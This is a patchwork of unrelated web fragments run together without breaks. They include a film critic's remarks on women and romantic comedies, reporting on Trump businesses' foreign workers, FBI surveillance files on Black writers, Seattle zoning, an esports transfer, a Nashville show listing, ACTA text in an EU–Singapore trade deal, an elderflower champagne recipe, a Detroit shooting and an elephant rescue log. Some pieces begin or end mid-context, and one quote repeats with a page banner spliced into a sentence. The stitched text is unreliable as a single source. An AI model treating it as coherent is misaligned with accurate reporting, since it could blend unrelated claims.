On why so many romantic comedies are so terrible: One, the people making them have no fucking taste, two, they're morons, three they're insulting panderers who think they're making movies for the great unwashed and that's what they want. I love romantic movies. I absolutely do. But I literally don't know what's happening. I think it's depressing that Judd Apatow makes the best romantic comedies and they're about men. All power to Apatow, but he's taken and repurposed one of the few genres historically made for women. ….We had so few [genres] that were made specifically for the female audience and now the best of them are being made by Judd Apatow. But what are his movies supposed to be about? Nominally about the relationship between a man and a woman, but they're really buddy flicks. Funny People was supposed to have an important role for a woman, but she was uninteresting and an afterthought.
On representations of women onscreen: There's a reason that women go to movies like Mamma Mia. It's a terrible movie… but women are starved for representation of themselves. I go back to Spike Lee and She's Gotta Have It. I remember going to see it at the Quad in New York, surrounded by a black audience. People are starved for representations of themselves.
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On women being taken seriously as moviegoers: It's a vicious cycle. We're not going to movies because there aren't movies for us. Therefore we're not seen as a loyal moviegoing audience. My point is that if there are stories about women, women will come out for that…
That's why [women] go to a movie like The Devil Wears Prada and make huge hits. They want to see women in movies. People in the trade press constantly frame that as a surprise. This, gee whiz, Sex and the City's a hit, Twilight, hmm, wonder what's going on here. Maybe they should not be so surprised. In the trade press, women audiences are considered a niche. How is that even possible? We're 51 percent of the audience.
On this quote from a box office analyst for Hollywood.com, in The Washington Post: Fuck him. What an asshole. Yes, that's what I want! That's exactly what I want. If Angelina Jolie had been cast in a movie as a good as The Bourne Identity with a filmmaker like Paul Greengrass, I would have gone out to see it, and I'm sure I wouldn't be alone. That is absurd. That's blaming female audiences – you get what you deserve? Is that what he's saying?
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On being a female critic reviewing and featuring women's films: I wanted to get [Bigelow] on the cover of 'Arts and Leisure'. I wanted this fantastic woman director to get her face on the front of the New York Times…[But] I am an equal opportunity critic. I will pan women as hard as men. I've had testy people imply that I should go easier on women's movies. I find that incredibly insulting. Are you kidding me? I don't want to be graded on a curve. None of us want to be a good woman writer.
I don't want to be the woman critic. I don't want to be the feminist critic. I don't want to be the shrew. What I want to do is talk about the art that I love and point out, every so often, inequities….It's a weird balancing act and I'm not saying there aren't contradictions.
On whether the prominence of women-directed films in 2009 will change anything, even if they're not statistically significant compared to other years: It's pretty shitty right now. Anything positive can only help a little bit. How's that for optimism?
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Women In The Seats But Not Behind The Camera [New York Times]
Kathryn Bigelow Makes Movies That Go For The Gut [New York Times]
Now Starring At The Movies: Famous Dead Women [New York Times]
With Strong Female Characters, Hollywood Suffers From a Fear Of Failure [The Washington Post]
Related: Double X Films [The Atlantic]
The vaguely worded order, first published by The Washington Post, proposes the elimination of the “jobs magnet” that is supposedly attracting immigrants and harming American workers. But one thing is clear about President Trump’s proposed order: The Trump Empire won’t be affected.
In a continuation of candidate Trump’s “Fine for me, but not for thee,” approach, his “Executive Order on Protecting American Jobs and Workers by Strengthening the Integrity of Foreign Worker Visa Programs” contains nary a mention of the specific guest-worker visa programs that his companies have profited from for decades.
For as long as he’s been in business, Trump has relied on immigrants—both legal and without documentation—to build his towers, walk catwalks for his modeling agency, manage his hotels, clean his hotel rooms, pick grapes in his vineyard, cook meals in his clubs, wait tables at his restaurants, and tend to his golf course lawns.
Trump properties have asked the government to grant temporary visas to some 1,200 foreign workers since 2000, according to an investigation by Reuters last year and updated data provided by the U.S. Department of Labor. Most of these visas fell under the H-2A or the H-2B category, for seasonal workers.
In his campaign, President Trump ran on the promise that he would enforce a “requirement to hire American workers first,” railing against Disney and employers like it that “replace any worker with cheaper foreign labor.”
“It legalizes job theft,” Trump said in a 2015 interview with Breitbart News’s Steve Bannon. (Bannon is now President Trump’s chief strategist.) “It gives companies the legal right to pass over Americans, displace Americans, or directly replace Americans for good-paying middle-class jobs.”
Despite Trump’s claims that Americans didn’t want the jobs Trump was offering to immigrants, a 2016 report in The New York Times showed that since 2010 some 300 Americans had applied to the positions that ultimately went to foreign workers at Mar-a-Lago, the exclusive Palm Beach club President Trump has dubbed his “Winter White House.”
According to Trump, all of those American applicants “weren’t qualified, for some reason.”
But a month after his win, he tweeted his dedication to the policy: “My Administration will follow two simple rules: BUY AMERICAN and HIRE AMERICAN!” Then in January, Trump winery was granted approval for six Mexican workers to tend to the grapes for $10.72 an hour.
And that’s just when Trump was playing by the rules.
In 1980, Trump built his eponymous Manhattan golden tower on the backs of some 200 undocumented Polish immigrants working round-the-clock with no overtime to demolish the space where the behemoth now stands. Trump lost a case brought by the workers years later, and eventually settled for an undisclosed sum.
But his reliance on undocumented workers didn’t end there. A July report from The Washington Post revealed some of the workers responsible for renovating D.C.’s Old Post Office Pavilion to make way for Trump’s new $200 million hotel had crossed the Mexican border and were in the country illegally. In a comment, longtime Trump attorney Michael Cohen said the responsibility to legally hire workers fell to the contractor, not Trump himself.
And while Trump Model Management over the years has sought visas for some 250 models—some of whom could be included in the proposed sweeping order—four women formerly represented by Trump Models told Mother Jones they had been encouraged to work illegally in the U.S. and lie to customs officials about the reason for their visits in the States. (Neither Trump nor Trump Model Management responded to the story’s claims.)
Should the draft order actually go into effect, the workers Trump relies on to skirt immigration law and the ones who take seasonal employment from American applicants shouldn’t be bothered. According to an analysis by Matthew Yglesias at Vox, the measure would focus on shortening the number of months a foreigner on a student visa would be allowed to work after graduation, tightening restrictions on companies that use H-1B visas (the kind Melania Trump was once issued) for technically skilled foreign workers making it “more merit based,” and crackdown on lesser used visa categories.
Caught up in Hoover’s web of paranoia were some legendary Chicago writers—Richard Wright, Lorraine Hansberry, St. Clair Drake, Charles S. Johnson (“With some irony, his grandson, Jeh Johnson, was named the U.S. Secretary of Homeland Security in 2013"), and E. Franklin Frazier.
What’s striking about it, beyond its existence at all, is the laborious, grinding bureaucratic pointlessness of it all, tens of thousands of pages to learn that writers thought… what they were writing, pretty much. Which never, ever seems to sink in.
The most poignant passage I came across was written by some functionary who was dispatched to take in a live performance of A Raisin in the Sun to look for possible subversive propaganda.
The play contains no comments of any nature about Communism as such but deals essentially with negro aspirations, the problems inherent in their efforts to advance themselves, and varied attempts at arriving at solutions. The contrasting proposals for solutions are set up through the character delineations of the widowed mother, her son, and her daughter. The specific bone of contention which is the central theme of the plot is the sum of $10,000 received by the widow as a result of the death of her late husband.
Not Communism “as such,” but the anonymous anti-Marxist critic goes digging for “propaganda,” with all the enthusiasm of a freshman in American Lit 101 writing a paper an hour before class.
The daughter is a college girl of 20 who aspires to be a doctor in an effort to fulfill a childhood ambition to help people, to heal them, to put them together again. At this point she seeks a means of self-expression and self-identification. She passes from hobby to hobby, generally expensive, under the amused and tolerant scrutiny of the other women. Her comments and her discussions with other characters produce such propaganda messages as are included in the play: To her mother she denies her belief in God and the existence of God. God does not pay the tuition. Things are what people make them, not God. Her mother by superior force of will forces her to repeat, “in my mother’s house there is still God", but the daughter remains resentful and unconvinced. When her brother has stolen from him the $6500 insurance money, including her medical school tuition, she reviles him as an “entrepreneur.”
Snooping on the theater patrons revealed them to be thoroughgoing theater patrons.
From the writer’s observations of the plot and the dialogue, nothing specific was found that is peculiar to a CP program. Audience reaction varied considerably to different scenes and lines. The quality of some of the acting was applauded, some of the lines drew applause primarily on a racial basis, others appeared to be applauded not only by negroes in the audience but by a substantial number of whites. The play was well attended. Comments overheard from whites appeared to indicate that they appreciated the drama and the quality of the acting, especially on the part of CLAUDIA McNEIL who handled the part of the mother. Relatively few appeared to dwell on the propaganda messages.
The FBI went to Fisk University to check up on Charles S. Johnson, the University of Chicago Ph.D. whose The Negro in Chicago is a landmark work of sociology; about the worst they could find was how he paid off his credit: “slow but satisfactory.”
In October of 1944, __________ of Fisk University, Nashville, Tennessee, advised in connection with another investigation that he had known Dr. JOHNSON _______. He stated it was at his suggestion that JOHNSON was brought to Fisk University and was made head of the Social Science Department, which position he held at the time of the interview. He stated JOHNSON’s reliability, honesty, patriotism, and loyalty to the United States were unquestioned. He stated, however, that both he and JOHNSON were “a little to the left.” He explained that Dr. JOHNSON was not a Communist, but was “a little to the left of the middle of the road trend.” He advised that JOHNSON’s activities in research as a student of social science carried him into many organizations, some of which probably had Communistic tendencies. ____ stated that JOHNSON was perhaps the best informed person in the South on the true negro situation.
The author of Native Son was found to have “almost an obsession” with “the problem of the Negro.”
After very careful consideration it is felt inadvisable to interview WRIGHT particularly as the basis of his break with the Communist Party, as appears from his recent articles in the Atlantic Monthly Magazine, is the Communist Party’s failure to be sufficiently radical and militant with respect to the advancement of the Negro. These articles also indicate a complete disapproval by WRIGHT of the American way of life. Also considered in arriving at the decision not to interview WRIGHT are the facts that he has been classified 4-F due to severe psycho-neurosis and his contacts with his Local Selective Service Board have reflected his interest in the problem of the Negro to be almost an obsession. In view of the subject’s public break with the Communist Party, he is no longer being carried as a Key Figure by the New York Field Division, however, a Security Index Card on him is being maintained by the New York Office due to his militant attitude toward the Negro problem.
Despite Richard Wright’s status as a respected author, the government that was closely monitoring his whereabouts, contacts, and ideological evolution—not to mention his peers—found him to be curiously ungrateful to his country.
It appeared from Subject’s contacts with his Local Board that his interest in the problem of the Negro has become almost an obsession and it was said that he apparently overlooks the fact that his own rise to success refutes many of his own statements regarding the impossibility of the Negro’s improving his personal position.
The FBI proved to be thorough literary critics with tremendous resources, but ultimately failed the comprehension part of the exam.
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To counter the increasing cost of living in Seattle, Mayor Ed Murray has proposed “building up” the U-District and Lower Queen Anne. Activist groups are outraged and protesting the idea. While there would be a height limit of seven stories, the activists claim the fix would change the neighborhood’s aesthetics and character.
KIRO Radio’s Jason and Burns dissected some critiques of the plan, including those from John Fox, of the Displacement Coalition of Seattle, who spoke with KIRO 7.
“It would irrevocably alter both the physical and social character of the neighborhood and spell a dramatic loss of hundreds of units of existing affordable housing.”
Jason Rantz: It won’t irrevocably change anything. His main complaint is if you do this it will impact 1,500 homes … that’s only if every single one of those landowners decide to sell to a developer who plans to go up seven stories or whatever it is, which is not going to happen all at once. Is it the potential that at some point, in the history of the U-District neighborhood, that will happen? I guess. But that happens with almost every single neighborhood.
A woman who moved to the area told KIRO 7 that she is also disappointed by this idea:
“They are tearing everything down in West Seattle. I’m sick of it. It used to be a nice community, that’s why I basically moved here from the Midwest.”
Rantz: You moved here from the Midwest — you created this problem! It’s not that I don’t understand … I am a transplant. I moved here nine years ago. I have no issue with transplants.
Burns: But I don’t think you can yearn for yesteryear when you’re a transplant. I couldn’t move to New York tomorrow and then lament about how cool Times Square used to be.
The KIRO hosts say the main reason living prices are up is supply and demand.
Rantz: You’ve got thousands of people who want to come here and lots of developers are building, but they’re not keeping up with demand. When you have a limited supply, it increases the rents.
Martin "STYKO" Styk was linked with mousesports once before, in March this year, when he was in talks with the German organization. In the end, he decided to stay with HellRaisers, who grabbed a semi-finals finish at SL i-League StarSeries Season 3 Finals weeks later.
Despite re-signing with the Ukrainian organization in April, STYKO has now been transferred to mousesports, after HellRaisers garnered mixed results, such as the disappointing run at the PGL Major Krakow Main Qualifier and third-fourth place at DreamHack Open Atlanta following a loss to Heroic.
STYKO reunites with oskar and lmbt in mousesports
To make room for the new player, Denis "denis" Howell has departed mousesports, who most recently failed to qualify for the PGL Major's playoffs following one win and three losses in the Swiss format. The German was up to this point the team's second longest-standing member, after over two years of playing under the organization.
This is the second roster change mousesports have made during the off-season, after Miikka "suNny" Kemppi replaced Christian "loWel" Garcia Antoran earlier this week.
"Martin is a very smart player. I have been working with him before and know what he is capable of. He can adapt to almost any role in a team. STYKO will be able to support chrisJ with calling our strategies and be very helpful in clutch situations," coach Sergey "lmbt" Bezhanov said in the announcement.
"I am very pleased with the opportunity to be part of mousesports and rejoining with my former teammates Oskar and my former coach. We will have a rather busy schedule during the next few months, but I am sure we will mix well within the team in terms of in-game roles and personalities." - Martin "STYKO" Styk
„Martin is a very smart player. I have been working with him before and know what he is capable of. He can adapt to MOUSESPORTS WELCOMES STYKO FROM MOUSESPORTS ON AUGUST 8, 2017 almost any role in a team. STYKO will be able to support chrisJ with calling our strategies and be very helpful in clutch situations“, says mouz coach Sergey Bezhanov.
STYKO has also addressed his departure from HellRaisers, as well as the criticism he has been a target of amidst rumors of the transfer, and his role in his new team, in a Twitlonger post:
"I wanted to write a twitlonger on why I wanted to leave from HR, why mouz offered me a spot and why I accepted it. But then I realized my best option would be to just shut down haters who judge roster changes based off of stats by showing myself playing well on the server. And by playing well I do not mean dropping 30 bomb every map, but rather letting stars on my team shine even brighter and stepping up when it is needed." "I do not want to go over issues we had towards the end of my career in HR. Those people close to our team knew them and it came to a point where a roster change would be a better solution. I am thankful to these people nonetheless! They gave me a chance to sign my first contract 21 months ago when I was just an FPL pugger with little knowledge of how competitive CS:GO works."
mousesports now have the following lineup:
The European side's online debut is scheduled for August 22, 21:20, in the ESL Pro League Season 5, where they're set to face GODSENT up first.
As mentioned in STYKO's statement, mousesports have a busy schedule in September in terms of offline events: DreamHack Masters Malmö (August 30-September 3), ESG Tour Mykonos (September 7-10), and ELEAGUE CS:GO Premier (Group B runs from September 15-16).
“They want to keep it going. Of course they do. But, it’s Superman yeah? Batman and Superman together? We shall see. The thing about Christopher Nolan, there was some grounding of reality to it. In our trilogy, and as fantastical and as big as The Joker was, it was based [on reality]. We could relate to it. But now we’ve got Batman and we’ve got a guy who can fly who’s an alien?! We’ll have to see… It’s got big shoes to fill.”
What do you make of Oldman’s comments? Can Batman v Superman match up to the standard of The Dark Knight Trilogy? Let us know your thoughts…
Gearan said, “I think the departure of Manafort, he was first sidelined, and then gone—the initial read from inside Clinton world on the shakeup was, ‘Wow well, that’s confirming that things are in a giant mess over there,’ so they thought that was good. The departure of Manafort is a bit of a wildcard, right? He was a tempering influence, or at least he attempted to be, and they really don’t know what to expect now. Uncertainty is never a good thing.”
When asked about Bannon she said, “They felt they could draw some sort of box, as long as Manafort was in the picture. He would not let Trump do X, whatever X is, and those lines are basically not there anymore.”
She added, “They are not wrong to say from the beginning, that they expected there to be a bloodbath in September or October, into November, that it would be extremely nasty. And they would be ready for anything. I mean, from Monica Lewinsky to whatever. Hillary Clinton knows, in the process of running for office, all those things will come her way. I think what they didn’t plan for was the sort of complete, unpredictability and kind of, you know, it’s beyond the question of how do they respond. It’s a question of, they have absolutely no idea what they might be hit with on any day, and that throws people off their footing. I think there is definitely now a sense, within a lot of the close Clinton advisers, that, I mean, it’s just buckle up. They figure it’s going to be extraordinarily nasty and unpleasant on a day-to-day basis, and that she is ready for it. I will say, I mean, she has shown thus far a pretty thick skin. She has — pretty thick skin. She has not gotten rattled or nasty herself in public, for many months now, and if she is able to keep that up, I think, from the Clinton world’s perspective, they will call that a success.”
THURSDAY MARCH 7
QUINTRON & MISS PUSSYCAT
NATURAL CHILD
PUJOL
RANCH GHOST
SLAMMERS
AT THE END
Ticket link
Things are getting started off right Thursday at the End. From hardcore heartthrobs Slammers to RnR royalty Natural Child, that’s a pretty stacked bill of openers. And then there’s Quintron. We feel like maybe Quintron has played Nashville a few times, and maybe just maybe he doesn’t quite get the attention he deserves around these parts. Make no mistake…Quintron knows how to throw down. He’s practically a walking dance party. It doesn’t hurt that he’s kinda the modern day Eno in his spare time. Prepare yourselves, Nashville. Mr. Q will be waiting for you.
FRIDAY MARCH 8
THE BLACK LIPS
WHITE FENCE
EX-CULT
D. WATUSI
CRIME WAVE
AT EXIT/IN
Ticket link
We’ll keep the good times rolling on Friday with the Black Lips leading the way. The ATL boys never disappoint, so you can be sure that this is gonna be one you don’t want to miss. We could profess our love for White Fence for days. Aside from putting out some of the best records of the last few years, their show at the End last summer was without a doubt the best show in Nashville of 2013. We’re also a little more than stoked to see our buddies Crime Wave [formerly JARG] start off the show. Teenage punks in a powerpop world, they’re the best thing we’ve heard in a while.
SATURDAY MARCH 9
JEFF THE BROTHERHOOD
DIARRHEA PLANET
CY BARKLEY & THE WAY OUTSIDERS
OGG
THE ORWELLS
AT EXIT/IN
Ticket link
On Saturday, the shit will truly hit the fan. Cy Barkley & the Way Outsiders debuted their new lineup with a second guitar player back in January, and it really took things to the next level. Cy’s got a new record coming out this year as well, and it might be the best offering from our humble scene that we’ve heard in years. It’s been a hot minute since we’ve seen a Diarrhea Planet show, so that will be a welcome treat as well. JEFF the brotherhood headlines. Enough said, get faded.
It wouldn’t be Freakin’ Weekend without our annual POP-UP SHOP. Just like in previous years, we’ll be setting up at Local Honey [2009 Belmont Blvd], and just like in previous years, we’ll be pushin’ that product. We’re talking records/t-shirts/posters/tapes/just about anything else you could want from all your favorite local labels and bands, and as always, we’ll be selling them on the cheap. Last year we started doing day-time shows at the shop, and it was such a party that we just had to do it again. We’ll post a full inventory of items for sale in the coming week, but for now, let’s go ahead and check out those day shows.
FRIDAY MARCH 8 DAY SHOW
JEFFREY NOVAK
ASHER HORTON
WHIT SMITH
AT THE POP-UP SHOP
$FREE – ALL AGES – 3PM
The first day show is gonna be going down on Friday during the day starting around 3PM, but we’ll be at the shop well before that just snacking and selling records and hanging out — which you’re more than welcome to join us for. This show rides more the solo artist wave starting out with Whit Smith. Out-of-towners may know Whit as the singer for So Jazzy, though locals know him mostly for being one of the raddest dudes around. We were elated when he agreed to play at the shop this year, so don’t miss out. Next on the bill is Asher Horton. As a member of Fox Fun, OGG, and Crime Wave, Asher pretty much rules the high school scene, and his solo shows, though rare, are always special. Rounding out the bill is another rare solo performance from Jeffrey Novak. In fact, the last solo show we can remember seeing Jeffrey play was at Grimey’s way back in the summer of 2010. He’ll have members of D. Watusi and the Paperhead providing some support, so this should be quite the set.
SATURDAY MARCH 9 DAY SHOW
TURF WAR
NAMELESS CULTS
GNARWHAL
AT THE POP-UP SHOP
$FREE – ALL AGES – 3PM
The day shows continue on Saturday in a more full-bandy way starting off with Gnarwhal. We’ve been digging on Gnarwhal since Sean Thompson played in that band. Hell, I think my first mosh pit was at a Gnarwhal show. They’re fresh off the road from their southern tour with Nameless Cults, so both bands should be tight as ever. Turf War from ATL will be rounding out the bill. Their catchy brand of rock and roll is one we have no trouble getting behind, so make sure to stop by for their set Saturday afternoon.
Lastly, also a first for this year is sponsors. We’ve never delved into this world before, but there have been a few businesses and companies whose support has played a huge role in making this the best Freakin’ Weekend yet. THANKS, SPONSORS.
THAT’S IT Y’ALL. GET OUT YOUR FINEST LEATHER AND TELL YOUR NEAREST AUTHORITY FIGURE TO FUCK OFF.
from the hidden-in-plain-sight dept
The first six months of 2012 saw Europeans taking to the streets in order to kill off ACTA in the European Union. Against all the odds, they succeeded in that aim, as the European Parliament voted to reject ACTA on 4 July last year. That defeat has certainly been burned into the memories of Karel de Gucht, the EU Commissioner responsible for negotiating first ACTA and now TAFTA/TTIP. When he was asked whether the latter might see ACTA sneak in by the backdoor, here's what he replied: "ACTA, one of the nails in my coffin. I'm not going to reopen that discussion. Really, I mean, I am not a masochist. I'm not planning to do that.
If the Commission advances new basic legislation, which I think she should, we will revisit the question, but I'm not going to do this by the back door". So you might think that ACTA is definitively dead and buried in the EU. But then along comes a new free trade agreement, this time between the EU and Singapore, which has the following section, Article 11.44, paragraph 2 (pdf): In determining the amount of damages for infringement of intellectual property rights, a Party's judicial authorities shall have the authority to consider, inter alia, any legitimate measure of value the right holder submits, which may include lost profits, the value of the infringed goods or services measured by the market price, or the suggested retail price. Those with good memories may recall that something similar was to be found in ACTA, and that it was one of the problematic areas that led the European Parliament to reject the treaty. In fact, it's not similar, it's word-for-word identical with Article 9, paragraph 1 of ACTA (pdf). And it's not the only section that's been cut-and-pasted from ACTA: several other paragraphs are also direct copies.
This raises an interesting question. At the moment, the EU-Singapore FTA has only been "initialled": that means it must still be approved by the European Commission, the Council of Ministers representing the member nations, and the European Parliament. So will the EU's MEPs reject the new trade agreement because it represents ACTA by the backdoor -- or at least a part of it? That seems unlikely.
But if the European Parliament does pass the EU-Singapore FTA, de Gucht might then argue that the same sections from ACTA can now be pasted into TAFTA/TTIP, since they are no longer problematic. And if he does so, perhaps he will be tempted to include a few more sections from ACTA, on the grounds that he is doing nothing "by the backdoor", but doing it in the full view of everyone....
Follow me @glynmoody on Twitter or identi.ca, and on Google+
A "Made in China" label
Made in China, Product of China or sometimes Made in PRC (simplified Chinese: 中国制造; traditional Chinese: 中國製造; pinyin: Zhōngguó zhìzào,) is a country of origin label affixed to products manufactured in the People's Republic of China.
Terminology [ edit ]
Made in China is the designation of goods that have been manufactured in mainland China.[1][2]
Branding [ edit ]
The "Made in China" brand was historically challenged by the US Cold War media campaigns that reported negatively on the brand and publicized hearings on the security of Chinese products in the United States Congress.[3] Conversely, some advertising companies and the American Chamber of Commerce[citation needed] in Shanghai have since the late 1990s endeavored to shed the Made in China brand of its cheap image, as Made in Japan has done.[3]
Marketing significance [ edit ]
The Made in China label is the most recognizable label in the world today, due to China's rapidly developing manufacturing industry, its relatively low manufacturing wages[citation needed] and the country being the largest exporter in the world.[4]
Major incidents related to exported products [ edit ]
In the 2007 Chinese export recalls, for example, product safety institutions in the United States, Canada, the European Union, Australia and New Zealand issued recalls and import bans on a wide range of Chinese-made consumer goods, such as pet food, toys,[5] toothpaste,[6][7] lipstick, and certain types of seafood.
During the 2008 Chinese export recalls, heparin was recalled by the U.S. Food and Drug Administration (FDA) due to contamination of the raw heparin stock imported from China.[8][9][10]
Lenovo has admitted in a public statement that it had pre-installed third-party adware named Superfish that was considered malicious on an unknown number of machines, beginning from 2010.[11][12][13]
Made in China 2025 [ edit ]
In 2013, Chinese Premier Li Keqiang and his State Council approved a plan called "Made in China 2025". Drafted by the Ministry of Industry and Information Technology, it took over two years to complete by one hundred and fifty people. The plan's aim is to improve production efficiency and quality.[14]
See also [ edit ]
Chhe Hyolmo from Sermathang, Nepal, poses for a portrait during a Canadian citizenship ceremony in Mississauga, Ontario, Canada, May 25, 2017. "I came to Canada to have a better future. The best thing about Canada is that it's a multicultural country," Hyolmo said. "In future I would like to study law," REUTERS/Mark Blinch
“There’s lots of multiculturalism here,” said Flor Mejid, originally from El Salvador, who attended a ceremony in Calgary, Alberta. “My high school that I went to (in Canada)... there were students from the Middle East, Asia, Central America, and they all got along really well.”
Mejid was one of 90 people at the ceremony, hailing from 23 countries, who became citizens weeks before Canada celebrates its 150th anniversary on July 1.
Sajedeh Ghassemi, originally from Iran, attended a ceremony in Mississauga, just west of Toronto. “I want to have a better future because as a Middle Eastern woman in my country, I cannot do a lot of stuff,” she said.
Even as the United States under President Donald Trump becomes more closed off - with a pending ban on visitors from several Muslim-majority countries and a crackdown on immigration violations - Canada’s arms remain open.
After Trump issued a travel ban order in January, Canadian Prime Minister Justin Trudeau tweeted that his country welcomes all fleeing war and persecution.
Since January, nearly 3,500 asylum seekers have entered Canada illegally from the United States. In June, Canada launched a fast-track visa for highly skilled workers, seeking to take advantage of the tougher U.S. immigration environment.
“Canada will welcome a target of 300,000 new permanent residents in 2017,” a spokesman for the Immigration, Refugees and Citizenship Canada federal department said in a statement.
“Planned admissions for resettled refugees in 2017 is 25,000 ... Immigration continues to play a key role in contributing to Canada’s well-being, to our economic prosperity.”
During Calgary’s ceremony, citizenship Judge Joe Woodward told the new Canadians of their responsibilities to contribute to society and “to keep Canada alive.”
“When you become a part of Canada, Canada becomes a part of you,” he said.
Yosra Boudhrioua, originally from Tunisia, did not speak fluent English when she came to Canada in 2012. But five years later, when she attended the Calgary ceremony, she was completing a degree to become a teacher.
“It doesn’t put you down,” she said of Canada’s immigration system, which offers free language classes. “You’re always up if you have the passion.”
Making elderflower champagne is easy:-
Go pick half a dozen full elderflower heads ideally on a sunny day when they are most fragrant.
Half fill a clean bucket with 2 gallons of cold water (thats 10 Litres for my Euro chums)
dissolve 2lbs (1kg) of white sugar into the water
shake any debris and insects clear from the elderflower heads and immerse in the water
Cut two lemons in half squeeze juice into water and throw in the squeezed half
add a splosh (4 tablespoons) of white wine vinegar
stir gently and cover with a clean tea towel
leave for 24 hours stirring occasionally
After 24 hours, sterilise plastic carbonated drinks bottles – 10 x 1 litre lemonade/pop bottles are ideal – and strain jugfuls of the liquor through a sieve or muslin cloth into the bottles and screw the plastic tops on gently to allow some of the excessive CO2 to escape while keeping other contaminants out.
Leave for a week while the naturally occurring yeast on the elderflower heads begins to ferment with the sugar creating a very weak alcohol content but lots of carbon dioxide – when the fermentation has begun you will see bubbles racing up to the top of the bottles. Eventually the bubbles will slow down. This is then the time to firmly screw the tops on and leave to build up a little more fizz.
Image – judyofthewoods http://www.flickr.com/photos/68888883@N00/3647949351/
Lots of CO2 = Big Elderflower Fizz
NB I emphasise using plastic screw top bottles as personal experience and folk lore have taught me that homemade elderflower champagne causes
corks just pop out and the contents just overflows to leave a sticky mess, glass bottles to actually explode embedding shards of glass into the surrounding surfaces and the contents to cover everything in a sticky mess a combination of both of the above makes for a nerve wracking experience whenever in the space the elderflower champagne is being stored and inevitably ends up in a sticky mess
If you use plastic bottles you will at least notice the stretching and rounding if the pressure becomes too great and can release the gas (or drink it).
One clever storage idea was to use a duvet to cover the bottles to absorb the impact and mop up any unwanted sticky mess
If stored in a cool place and the bottles remain in tact, elderflower champagne can be kept for over a year – until the flowers begin to appear again for the next batch.
Make your own drinks
After making a successful batch of elderflower champagne perhaps you’ll want to try your hand at making elderflower wine and other interesting drinks.
World | Filed under News Posted by admin
Denmark has become the first country to stop classifying transgender people as having a mental illness.
The progressive nation announced it’s plan for the reclassification back in May 2016, citing frustration with the slow progress at the World Health Organisation (WHO).
The introduction of the new classifications on New Year’s Day has been welcomed by LGBTIQ+ advocates in Denmark.
Soren Laursen (pictured) head of the Danish LGBT national association told the Ritzau news agency that the move removed stigma from the nation’s health system.
A spokesperson for the organisation also welcomed the policy change.
“The change is symbolic, but important. It’s important for transgender people to not be branded mentally ill when we are not.” Linda Thor Pedersen, a spokesperson for LGBT Denmark said.
Thor Pederson said the group’s discussion with the country’s health department had ensured words including ‘dysphoria’, ‘incongruence’, ‘disorder’ or ‘problem’ didn’t feature any more.
The change in classification does not make any change to the amount of psychological assessment a person must undergo before they can be given access to hormone therapy or sex reassignment surgery.
Last year Denmark’s Health Minister Sophie Lohde expressed her frustration with the pace of the WHO which is planning to address the issue. The minister said Denmark was no longer prepared to wait for the global organisation.
The move to remove the classification was supported by all political parties.
At the WHO, the proposal to declassify sexual orientation in the International Statistical Classification of Diseases and Related Health Problems was first put forward in 2014, but a decision is not expected until sometime later in the year.
The new approach in Denmark comes as the country reports an increasing number of young transgender people accessing services. The Sexological Clinic at Rigshospital in Copenhagen had expected to assist around 50 young people each year, but had over 130 clients in 2016.
Like most countries, gender reassignment surgery in Denmark is not allowed until after a person is 18 years of age, however hormone treatment, which is reversible, can be undertaken before a person turns eighteen.
Last year Amnesty International criticised the current treatment of transgender people in Denmark highlighting that the clinic at Rigshospital in Copenhagen had a monopoly on services in the country, and people could face long waiting periods to access treatment.
Police said the 24-year-old mother and her week-old son were in a home in the 16100 block of Maddelein Street when someone pulled up in a car and fired shots into the house. The woman was holding her infant boy on the couch in their living room when the shots came through the door, police said.
Sirmear Lamb was grazed in the head by a bullet. Detroit police said they took the child to St. John Hospital with non-life-threatening injuries.
Lakita Lamb was shot in the leg. She also was taken to the hospital with non-life-threatening injuries.
"It's not a hole, it's a deep cut," Lamb said. "A deep cut."
Lamb is out of the hospital after her leg was treated Wednesday night. Sirmear was in her arms after receiving treatment for his head injury.
"The bullet didn't hit a bone," Lamb said. "That was a good thing."
Her son was born May 11. She had just brought him home from St. John Hospital, but after the shooting, he was right back at the hospital, this time in the intensive care unit.
Nine people were in the home at the time of the shooting. Witnesses said a woman and a man pulled up with children in their vehicle and opened fire on the house with what's described as an AK-47 and a handgun.
Lamb's other three sons hit the floor when the shooting began.
"They were on the floor," Lamb said. "I got up to run. They were already crawling to the hallway."
Shots were fired into the downstairs, the roof, windows and right above Sirmear's grandmother's head in her headboard.
"I was asleep," Laura Lamb said. "All I heard was, 'Bang, bang.' She don't care who was here."
"I thank the police who transported him," Lakita Lamb said. "They did not waste time to wait for EMS (emergency medical services). They came in and took him out and pulled off."
Stay with ClickOnDetroit.com for updates.
Her 2100 km journey from Tamil Nadu to ECCC in Mathura will take her several days. She’s traveling in our custom-designed elephant ambulance, accompanied by the Wildlife SOS expert paramedics team.
S o stay tuned and keep checking as we post updates straight from the field on this blog and on Facebook.
And, please consider donating to help us give Rhea the bright future she’s been waiting for. Thank you!
UPDATE – April 15, 2016 ,6:00 pm IST: Rhea has been loaded onto our elephant ambulance, and is on her way to be reunited with her “sisters” Mia and Sita at our rescue center! Our team removed her chains, gave her a cooling bath, and filled her tummy with coconuts, watermelons, and bananas (her favorite!)
UPDATE – April 16, 2016 ,12:30am IST: The rescue team has just crossed the border into Andhra Pradesh. Rhea was restless at first, but soon settled down. Our team reports that she is incredibly vocal, and they are hearing lots of “squealing and squeaking.”
UPDATE – April 16, 2016, 8:00 am IST: The elephant ambulance has had to stop on the highway (100km from Kurnool in Andhra Pradesh) to take care of some vehicle trouble. It took our team 20 minutes to fix the engine. The team used the break to check up on our elephant co-passenger Rhea and clean out the ambulance. Rhea is being comforted in the back with lots and lots of fresh treats.
UPDATE – April 16, 2016 , 4:30 pm IST: In order to beat the midday sun, our team on the field has stopped to give Rhea a cooling shower. They have also built a thatch roof out of the coconut leaves to keep her shaded and cool.
UPDATE – April 17, 2016 , 11:00 am IST: The elephant ambulance stopped just before entering the state of Maharashtra and the mahouts gathered a delicious leafy meal for Rhea, lugging it all the way back to the ambulance for our eagerly awaiting elephant, who immediately began munching on her morning meal. It was a delight to see Rhea trumpeting loudly as soon as she saw our team bringing her yummy breakfast.
(Currently 228 km from Nagpur)
DKos:
Last week at CPAC potential Republican candidates were invoking President Ronald Reagan ad-nauseam. Ed Schultz asked Bruce Bartlett, former adviser to Reagan, how would Reagan have been treated at CPAC.
